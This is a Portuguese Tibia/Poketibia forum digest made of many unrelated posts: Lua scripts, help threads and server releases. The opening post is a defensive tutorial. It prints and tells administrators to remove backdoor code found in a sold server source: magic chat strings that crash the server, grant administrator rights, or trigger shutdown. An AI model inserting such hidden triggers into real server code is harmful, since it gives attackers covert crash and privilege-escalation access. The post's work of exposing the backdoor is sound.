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Source Poketibia - Códigos de derrubar
Olá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo. ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso) Código 1 bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para: bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP. Código 2 bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.5 pontos
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[TFS 1.2] Prision Boss Script
[TFS 1.2] Prision Boss Script
malucooo e um outro reagiu a vankk por uma resposta no tópico
2 pontosPrision Bosses TFS 1.2 by vankk Eu estava com um código bem ruim dos bosses da Prision Key no Aura, e resolvi atualizar, e decidi compartilhar aqui com vocês. Caso vocês queiram ver o script em funcionamento entre já em Aura. Clique aqui para ir para o site. O sistema está bem fácil de ser configurado, está tudo em tabelas, esse script é para os bosses: Zavarash, Horadron, Terofar. data/actions/actions.xml <action itemid="22606" script="prision_bosses.lua"/> <action itemid="22605" script="prision_bosses.lua"/> <action itemid="22604" script="prision_bosses.lua"/> data/actions/prision_bosses.lua -------------THIS SCRIPT WAS MADED BY VANKK AT 15TH DECEMBER 2016 AT 4 P.M (GMT - 3) ------------- local config = { [22606] = { targetId = 22636, -- Target ID. bossName = 'Zavarash', -- boss name keyPlayerPosition = Position(296, 1650, 12), -- Where the player should be. newPosition = Position(220, 1591, 13), -- Position to teleport bossPosition = Position(216, 1587, 13), -- Boss Position centerPosition = Position(215, 1591, 13), -- Center Room exitPosition = Position(293, 1634, 12), -- Exit Position rangeX = 20, -- Range in X rangeY = 20, -- Range in Y time = 15, -- time in minutes to remove the player }, [22605] = { targetId = 22634, -- Target ID. bossName = 'Horadron', -- boss name keyPlayerPosition = Position(291, 1650, 12), -- Where the player should be. newPosition = Position(293, 1676, 13), -- Position to teleport bossPosition = Position(300, 1677, 13), -- Boss Position centerPosition = Position(296, 1678, 13), -- Center Room exitPosition = Position(293, 1634, 12), -- Exit Position rangeX = 20, rangeY = 20, time = 15, -- time in minutes to remove the player }, [22604] = { targetId = 22638, -- Target ID. bossName = 'Terofar', -- boss name keyPlayerPosition = Position(302, 1650, 12), -- Where the player should be. newPosition = Position(257, 1675, 13), -- Position to teleport bossPosition = Position(260, 1676, 13), -- Boss Position centerPosition = Position(255, 1678, 13), -- Center Room exitPosition = Position(293, 1634, 12), -- Exit Position rangeX = 20, rangeY = 20, time = 15, -- time in minutes to remove the player } } local function roomIsOccupied(centerPosition, rangeX, rangeY) local spectators = Game.getSpectators(centerPosition, false, false, rangeX, rangeX, rangeY, rangeY) if #spectators ~= 0 then return true end return false end function clearBossRoom(playerId, centerPosition, rangeX, rangeY, exitPosition) local spectators, spectator = Game.getSpectators(centerPosition, false, false, rangeX, rangeX, rangeY, rangeY) for i = 1, #spectators do spectator = spectators[i] if spectator:isPlayer() and spectator.uid == playerId then spectator:teleportTo(exitPosition) exitPosition:sendMagicEffect(CONST_ME_TELEPORT) end if spectator:isMonster() then spectator:remove() end end end function onUse(player, item, fromPosition, target, toPosition, isHotkey) local tmpConfig = config[item.itemid] if not tmpConfig then return true end if target.itemid ~= tmpConfig.targetId then return true end local creature = Tile(tmpConfig.keyPlayerPosition):getTopCreature() if not creature or not creature:isPlayer() then return true end if roomIsOccupied(tmpConfig.centerPosition, tmpConfig.rangeX, tmpConfig.rangeY) then player:sendCancelMessage("There is someone in the room.") return true end local monster = Game.createMonster(tmpConfig.bossName, tmpConfig.bossPosition) if not monster then return true end -- Send message player:sendTextMessage(MESSAGE_EVENT_ADVANCE, 'You have entered an ancient demon prison cell!') player:sendTextMessage(MESSAGE_EVENT_ADVANCE, 'You have fifteen minutes to kill and loot this boss, else you will lose that chance.') -- Let's roll addEvent(clearBossRoom, 60 * tmpConfig.time * 1000, player:getId(), tmpConfig.centerPosition, tmpConfig.rangeX, tmpConfig.rangeY, tmpConfig.exitPosition) item:remove() player:teleportTo(tmpConfig.newPosition) player:getPosition():sendMagicEffect(CONST_ME_TELEPORT) return true end Não ensinarei a configurar a tabela, isso é uma tarefa bem fácil, e para não ter nada de mão beijada também né, Esse script é exclusivo do TibiaKing, e sua postagem em outros forums é proibida. Caso utilize em algum projeto, por favor manter os créditos.2 pontos -
Comando "Spy" Players
1 pontoOlá pessoal do TK, venho aqui trazer um script que não fui eu quem o criou, somente coloquei-o em português (e daí?).. Achei em um fórum e no final do tópico estarei disponibilizando o nome do criador. Utilidade do Script: Bom, o script serve para você com um character com acesso de GOD (configurável) possa ver quais itens um certo player está utilizando no momento. PS: Inclusive os itens presentes dentro da backpack do Player. Como funciona: Você digita a talkaction /spy seguida do nome do player a ser "espionado". Por Exemplo: /spy Rusherzin /spy Tibia King Testado em: Versão 8.54 Imagem: Agora vamos ao script: Vá em data/talkactions/scripts/ copie e cole um arquivo .lua qualquer, renomeie para spy e cole isso dentro: E adicione essa tag no talkactions.xml: Créditos: Azi1 ponto
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[Link Quebrado][8.6] Alissow OTs 4.11
[Link Quebrado][8.6] Alissow OTs 4.11
Joao00victor reagiu a AdmAlexandre por uma resposta no tópico
1 pontoAlissow OTs 4.11! [11/07/ 2010] Esta versão 4.11 foi meio apressada, só adicionamos as features novas do 8.6. Aproveitem. Créditos: Alissow Comedinha Luis Nirk TFS Team Viniply Xedegux Sobre o OT/Mapa: Principais quests: -Annihilator -Inquisition Quest -Pits of inferno -Demon Oak -Solar axe quest -HOTA -MPA quest -The Challenger Monstros: -Total monstros: 10292 -Total spawn: 5587+ Cidades: -12 Cidades -200 Houses+- Raids/Invasões: -Rat -Orshabaal -Ghazbaran -Giant spider/The old window -Ferumbras -Morgaroth Spells: -Magias editadas para balanceamento das vocações Changelog Atualização [3.4 BETA]: Atualização nº 2 [3.4]: Atualização 3.5 [06/08/2009]: Atualização Patch 3.5.1 [07/08/2009]: Atualização 3.6 [10/08/2009]: Atualização 3.7! Beta [18/12/2009]: Atualização 3.7 Patch 1 [27/12/2009]: Atualização 3.8 [17/01/2010]: Atualização 3.8 Minor Patch 1 [17/01/2010]: Atualização 3.9 [15/02/2010]: Atualização 4.0 [15/02/2010]: Atualização 4.11! [11/07/2010]: - Versão 8.6, todos os items, outfits e monstros novos (Comedinhasss, Fireelement) - Adicionados os novos monstros 8.6 (Alissow) - Bug das potions arrumado (Comedinha, Matheusmkalo, Gabriel linhares, Fireelement) - Erros das runas arrumado (Comedinha, Gabriel linhares, Matheusmkalo, fireelement) Novas screenshots da atualização 4.0 Mais tarde posto mais imagens, agora estou com um pouco de pressa :] Ta ficando grandinho heim... Download Servidor: 4shared Tamanho: 17,416 KB Download: http://www.4shared.c...ow_Ots_411.html Link protegido: http://lix.in/-8d4bc0 Scan VirusTotal: Clique aqui Atenção - Acc do God: god/god - LEIA o tópico antes de postar qualquer coisa ou duvida - Reportem se houver algum bug - A database fica na pasta schemas+Database - Proibido o uso do nosso distro sem o nosso consenso, obrigado. - Se você gostou, clique noali embaixo ó. Andei percebendo que há muitos mapas feitos por mim em outros servidores postados aqui no TibiaKing, eu não sei se vocês sabem, mas isso é PLÁGIO. Eu não sou uma pessoa egoista, tudo que eu posto aqui no ##### é para ser compartilhado, mas desde que mantenham os devidos créditos. Será denunciado qualquer tipo de "roubo" sem minha autorização para beneficio próprio. Eu sei que vocês não se importam muito com isso, eu também não deveria me importar, mas é o tempo e a dedicação de outra pessoa que vocês estão roubando, então peço gentilmente aos que tem conhecimento desses mapas, que me apontem. Não tem graça trabalhar horas e horas e ser roubado em dois minutos. @Edit Obs: Mapa Não é Meu,Não Fiz Nada Nele!!1 ponto -
Fly System (Tibia,Nto,Wodbo) Tfs 0.3.6
Eae Galera Do Tibiaking Bom Esse é o Meu Primeiro Post De Um Conteudo Pra Vocês, Bom Como Esse Sistema Funciona ? O Player Vai Digitar o Comando !fly e em Seguinda ele Fala Fly up Pra Subir Pra Descer é o Fly Down Vá em Data/lib e Crie um Arquivo Chamando 075-fly.lua e Cole Isso Dentro Agora Vá em Data/Talkactions e Crie Um Arquivo Chamado fly.lua e Cole Isso Dentro Agora Vá em Data/Movements/Scripts e Crie um Arquivo Chamado fly.lua e Cole Isso Dentro feito Isso Vá em Data/creaturescripts/scripts/ e vá no login.lua e coloque essa Função e Essa Aqui Tambem Agora Crie Um Arquivo No CreatureScripts Com O Nome De logout.lua e Cole Isso Dentro Agora Vá no Talkactions.xml e Cole Isso Dentro Em Seguida Vá no Movements.xml e Cole Isso Dentro Agora em creaturescripts.xml e Cole isso Agora o Trabalho Vai Ser Nas Sources Vá no game.cpp e Procure Por Essa Função Substitua Por Essa Ainda em game.cpp Procure por Essa Função e Substitua Por Essa Agora Procure Por Essa Função Substitua Por Essa Agora vá em configmanager.cpp e procure por essa Função e em baixo dela Adicione iSSO Agora Vá em configmanager.h e Procure por Essa Função e em baixo dela Adicione Isso E Pra Terminar Adicione Essa Storage no Config.lua Como Esse é o meu Primeiro Post, Não tenho muita experiencia não consegui por o gif mais vou por as imagens a baixo Pra Alterar a Outfit Após o Player Digitar o Comando !fly Vá em Data/lib 075-fly.lua e altere nessa Linha Creditos: Otland.net Darkhaos1 ponto
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@Primeiro mapa.
1 pontoTão entediado essa madrugada, que acabei fazendo algo no rme... Queria fazer algo para vampiros, mas saiu isso ai... alguma coisa parecida com alguma entrada hahaha' http://i.imgur.com/IV1kbBI.png Notas para isso? Dicas? xd cyaaaa1 ponto
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(Resolvido)[RESOLVIDO] por storage em !transformar
local config = { --[vocation id] = { level, nova voc, looktype, efeito} [7] = {700, 8, 9, 114, 43902} } local storage = 123 function onSay(cid, words, param, channel) local voc = config[getPlayerVocation(cid)] if not voc then doPlayerSendCancel(cid, "Nao é possível se transformar.") return true end if getPlayerStorageValue(cid, storage) ~= 1 then doPlayerSendCancel(cid, "Nao é possível se transformar.") return true end if getPlayerLevel(cid) < voc[1] then doPlayerSendTextMessage(cid, MESSAGE_STATUS_WARNING, "Voce precisa estar no level " .. voc[1] .. " para transformar.") return true end doPlayerSetVocation(cid, voc[2]) doPlayerSendTextMessage(cid, MESSAGE_STATUS_WARNING, "Voce se transformou!") doCreatureSay(cid, "Transformar", 19) doCreatureChangeOutfit(cid, {lookType = voc[3]}) doSendMagicEffect(getCreaturePosition(cid), voc[4]) return true end1 ponto
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(Resolvido)[RESOLVIDO] por storage em !transformar
local config = { --[vocation id] = { level, nova voc, looktype, efeito, storage} -- Goku [7] = { 700, 8, 9, 114, 43902} } function onSay(cid, words, param, channel) local voc = config[getPlayerVocation(cid)] if (getCreatureStorage(uid, key) >= 1) then if voc then if getPlayerLevel(cid) >= voc[1] then doPlayerSetVocation(cid, voc[2]) doPlayerSendTextMessage(cid, MESSAGE_STATUS_WARNING, "Voce se transformou!") doCreatureSay(cid, "Transformar", 19) local outfit = {lookType = voc[3]} doCreatureChangeOutfit(cid, outfit) doSendMagicEffect(getCreaturePosition(cid), voc[4]) else doPlayerSendTextMessage(cid, MESSAGE_STATUS_WARNING, "Voce precisa estar no level " .. voc[1] .. " para transformar.") end else doPlayerSendCancel(cid, "Nao é possível se transformar.") end else doPlayerSendCancel(cid, "Nao é possível se transformar.") end return true end Para poder usar a transformação tu tem que usar o método "doSetStorage(storage, valor)", com o argumento valor maior igual à um.1 ponto
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Preciso de ajuda para editar armaduras
vá em moviments.xml de um Ctrl+f e procure pelo ID do Item desejado "vamos usar como exemplo a Magic Plate Armor" você encontrará ela desta forma, basta apenas colocar as novas vocations que podem usar a armor <movement type="Equip" itemid="2472" slot="armor" event="function" value="onEquipItem"> <vocation name="Knight"/> <vocation name="Paladin"/> <vocation name="Elite Knight"/> <vocation name="Royal Paladin"/> </movement> Obs: caso queira que todas vocações possam usar a Magic Plate armor, basta epenas apagar ela e pronto.1 ponto
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Quais os ID de efeito de magia
1 pontologado na conta do GOD use os comandos ID magias de Distance /x 1 , /x2, /x3 ... vá utilizando o comando até achar o ID da magia de distance que vc desejar ex: /x 40 ID magias de Effect /z1, /z2, /z3 .. vá utilizando o comando até acha o ID do Effect desejado ex: /z 251 ponto
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(Resolvido)[RESOLVIDO] healar mana em area PZ
eu já tinha resolvido este problema, más deixei o topico aberto para ajudar outros players. e era essa função msm que precisava. REP+ pela ajuda @wedyhiu2 sim, tem que editar nas Sources msm. não cheguei a editar minhas Sources pois foi um amigo que compilou pra min, então só troquei o velho executavel pelo novo compilado e funcionou. provavelmente é está função ai citada no poste acima, pois me lembro de ver uma similar a está quando meu amigo estava arrumando minhas Sources.1 ponto
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Preciso de ajuda para editar armaduras
Modifique em seus movements.xml, só procurar pelo o ID, e então editar.1 ponto
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Source Poketibia - Códigos de derrubar
Pelo estilo de código merda, eu até consigo imaginar quem que fez isso, kkkkkkkkkk.1 ponto
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Anunciar monrte tfs 1.2
Anunciar monrte tfs 1.2
luanluciano93 reagiu a vankk por uma resposta no tópico
1 pontoAdiciona esse code no playerdeath nas últimas linhas antes de fechar o script. if killer:isPlayer() then Game.broadcastMessage(string.format("The player %s was been slained by %s at level %d.", player:getName(), killer:getName(), player:getLevel()), MESSAGE_EVENT_ADVANCE) end1 ponto -
(Resolvido)Onde eu consigo os arquivos originais do tibia 8.6?
Isso, essa é a base da maioria dos otservers, é o mais original que você vai conseguir. Para o 8.6 existe o TFS 0.3.6, 0.4 e agora fizeram aquele port (adaptação) do 1.2 para o 8.6 Te aconselho sempre usar o TFS mais novo, por questão de bugs corrigidos, estabilidade, no caso seria aquele 1.2 que te mandei. https://github.com/ninjalulz/forgottenserver/tree/8.6 Não vai ter um executavel ai, porque você tem que compilar ele. Isso é bom pelo fato de você poder ver tudo que tem no executavel pelas sources, vai saber que não tem nada de malicioso e pode adicionar função, efeito ou algo mais depois caso queira. Tem vários tutoriais aqui no forum de como compilar o tfs 1.x, mas qualquer coisa posso ajudar.1 ponto
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Efeito de magia em cima do teleporte
Efeito de magia em cima do teleporte
sirzinho reagiu a Thony D. Serv por uma resposta no tópico
1 pontotente esse aki Crie Um Arquivo .lua Na Pasta Globalevents e coloque isso aki dentro Para Alterar O Efeito Mude Aki, {effect = 2, Para Altera Posiçao Mude Aki, {x=11, y=111, z=1} Para Altera O Texto Que Ira Sair Do No Portal Mude Aki, frase = "NomeDoTexto"}, ................................................................................................................................... Agora Va Em Globalevents.xml E Adicione Isso Ajudei Rep+1 ponto -
[NTO] Base NTO Server (WAR)
[NTO] Base NTO Server (WAR)
Hindra Breno reagiu a MadaraOt por uma resposta no tópico
1 pontoirei atualizar o download da database, ela estava bugada ru n tinha feito um teste SORRY! eu uso o cliente comet mais o do cleiton tbm serve! http://www.mediafire.com/file/kelmh796192c3v3/forgottenserver.s3db eu n falei que o servidor era meu apenas compartilhei o que poucos tinham! , nossa cara 5hrs da manhã eu nem respondo os comentários, foi mal aew !1 ponto -
Ao logar, ganhar 5 dis de vip
1 pontousei este script e está 100% funcionando, obg pela ajuda @Alexy Brocanello rep +1 ponto
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Fan tibia server dedicado
1 pontoParabéns, seu tópico de conteúdo foi aprovado! Muito obrigado pela sua contribuição, nós do Tibia King agradecemos. Seu conteúdo com certeza ajudará à muitos outros, você recebeu +1 REP.1 ponto
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Efeito de magia em cima do teleporte
Em data/globalevents, globalevents.xml coloque isso: Vermelho: Tempo em segundos, 4000 = 4 segundos! Azul: Nome do arquivo .lua Agora em data/globalevents/scripts crie ou copie e cole um arquivo .lua e renomeia para o mesmo nome que você colocou na Tag xml, aqui no caso foi efeitotp.lua, agora cole isso dentro: Roxo: As coordenadas de onde seu Teleport está. Laranja: É o tipo do efeito de magia que vai sair em cima do Teleport. Verde: Frase que vai sair em cima do Teleport. Rosa: A cor da Frase que vai sair em cima do seu Teleport.1 ponto
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(Resolvido)Ajuda Compilacao Ubuntu
(Resolvido)Ajuda Compilacao Ubuntu
L3K0T reagiu a Bruno Vavretchek por uma resposta no tópico
1 pontoCara, show! Só isso. Muito obrigado! Devo isso aqui a você www.caesar-global.com forte abs!1 ponto -
@Primeiro mapa.
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(Resolvido)Ajuda com Erro Na Distro ( Linux)
Exatamente o que o usuário acima disse. Se em um arquivo estiver escrito: ... Guilds.lua"> E nome do arquivo estiver: guild.lua Ele não encontra e diz que o arquivo não existe. Então você deve olhar todos os arquivos e ver como estão sendo procurados nos arquivos .xml e deixa-los iguais. Boa sorte1 ponto
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Old Tibia tirando limite de 255 efeitos
Old Tibia tirando limite de 255 efeitos
Kazuya9629 reagiu a KotZletY por uma resposta no tópico
1 pontoEntão o seu tfs é versão 0.4, no entanto mude para: msg->put<uint16_t>(type + 1); Mais detalhes de como alterar sem erro nessa versão:1 ponto -
(Resolvido)[RESOLVIDO] healar mana em area PZ
(Resolvido)[RESOLVIDO] healar mana em area PZ
Miranha reagiu a Bodak Reborn por uma resposta no tópico
1 pontoEm creaturescripts, chame essa função de tantos em tantos segundos: function healPZ (health) if getTileInfo(getThingPos(cid)).protection then doPlayerAddHealth (cid, health) end return true end1 ponto -
Shinobi Online - 忍 オン ラ イ ン
1 pontoBoa tarde galera. Ideia inicial: Bem, eu sou muito fã de Anime/Mangá de Naruto. Então, já que tinha por ai, um spr e dat com um gráfico, eu resolvi fazer um servidor basado no mundo de Naruto. Mas com ideias e plataforma diferente(não é tão diferente, porque existem 2 servidores atualmente com uma grande equipe, que podem fazer um ótimo game.) que os servidores de hoje em dia oferecem. Sobre o nome do projeto ser Shinobi Online, irei explicar o motivo. Bem, minha ideia inicial para o servidor é: O jogador, será um Shinobi/Ninja normal, e não um dos protagonistas do anime. Mas calma lá. O jogador poderá escolher seus pais e aldeia.(lembrado que cada pais tem sua aldeia, e toda aldeia possui seu clã.) entrando no clã escolhido por o jogador, ele poderá aprender os jutsus que quiser, de acordo com o elemento/kekkei genkai que ele vai herdar ao entrar no clã escolhido, E bem, sobre o nome Shinobi Online, eu não pensei em outro. O jogador será um Shinobi, e o jogo será um MMORPG. Então, eu deixei o mais obvio, Shinobi Online, e sim, eu posso usar, a menos que alguém registre essa marca. Não é uma copia, e também não tem nada a ver com o antigo Shinobi Online, a não ser a logo, que eu gostei, e mandei um amigo refazer para mim. Sobre o Game: Graduações: Missões: Jutsus: Imagens: Bem galera, eu tenho varias coisas listadas para que o Shinobi Online possa cumprir seu papel como um Game diferenciado! Podem comentar suas duvidas, criticas, e até sugestões. Fã page: https://www.facebook.com/ShinobiOnline/?fref=ts Video: Vejam este video que acabei de fazer e postar. Está básico, mas é não está terminado ainda. Video [Readygo]Video 2016-09-20 13-22-59.mp41 ponto
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SHOPSYSTEM - ERRO AO CONCLUIR UMA COMPRA NO SHOP.
Esse aqui: http://www.tibiaking.com/forum/forums/topic/36403-tfs-12-1097-1100-globalfull-otherworld-hearth-of-destruction-quest-battlefield-last-man-standing-capture-the-flag-zoombie-event-war-anti-entrosa-website-database-sources-v30/ RESOLVIDO. no Arquivo shopsystem.php. Alterei: PARA:1 ponto
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Erro High Level , Poke muito forte
Erro High Level , Poke muito forte
Dine reagiu a Henriquegb por uma resposta no tópico
1 pontoisso acontece com qualquer valor muito alto em dano. por exemplo se você editar uma espada e colocar ela com dano maximo. alguns hits dela vão healar (muito). não sei se tem como resolver isso.1 ponto -
Hunter X Hunter Online
1 pontoHunter X Hunter Online Eae Beleza Estava aqui sem nada pra jogar quando eu vi esse fórum e me deu uma ideia Hunter Tibia baseado em Hunter x Hunter Quero fazer um ot serv totalmente modificado para aproximadamente 2016 Pretende ter Sistema de barco"galeons" para navegar no alto mar e caça monstros de nível alto e Raro. Vai ter o sistema de Test Hunter que vai ser Semanal ou ate Mensal,se passar no teste a pessoa poder pegar profissões exclusivas. Pretendo fazer o ot serv com um mapa grande tanto para explorar como cidades Haverá um tipo de poder que você irar conseguir lvl 40 chamado Nen "quem viu o anime vai saber oque e"sera um tipo de Aura que deixara o jogador mais forte Nesse Nen Vai ter Vários tipos de usuários como: Minhas ideais vão ser adicionadas em outro post em breve... Precisamos de: Mapper(===) Script(===) Spriter(===) Web Designer(===) Administrador(Lojons) Se tiver interessado deixe contado como skype ou email que eu mesmo entro em contado Ate Breve1 ponto
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[Teste Programação] Lanche
[Teste Programação] Lanche
luanluciano93 reagiu a alfbru por uma resposta no tópico
1 pontoAmigo, sua resposta está correta mas estes testes de programação são testados com um arquivo de entrada e um de saida, e todo printf é considerado saida, logo quando você interage com o "usuario" pedindo dados, ele fornecerá esse printf como saida também, e em uma maratona de programação sua resposta daria errado, nesses testes o correto é só interagir com o "usuario" o que for solicitado. Quanto ao tópico fiz uma resposta sem o switch para variar um pouco das demais. #include <stdio.h> int main() { int cod, quantidade; float codigo[5] = {4.00, 4.50, 5.00, 2.00, 1.50}, total = 0.0; scanf("%d %d", &cod, &quantidade); total = total+(codigo[cod-1]*quantidade); printf("Total a ser pago: R$%.2f\n", total); return 0; }1 ponto -
Compilando com Microsoft Visual Studio 2013
Compilando com Microsoft Visual Studio 2013
xBlackWolf reagiu a 001rafa por uma resposta no tópico
1 pontoDesculpa reviver o topico mas é para ajuda de todos então quem tiver com o problema do amigo ai acima... Baixa esse arquivo aki e substitui https://mega.co.nz/#!zgknnTTb!W1ymVQBWUfPo7YloOo70oDf6-NkZFN-nXn2te9or05o1 ponto -
[8.54] Naruto Online Shinobi
[8.54] Naruto Online Shinobi
eliasferro reagiu a Milbradt por uma resposta no tópico
1 pontouhauha, melhor nem comentar muita coisa.. mas já exite um tópico com o mesmo servidor postado aqui! Ele também é uma versão acima dessa.1 ponto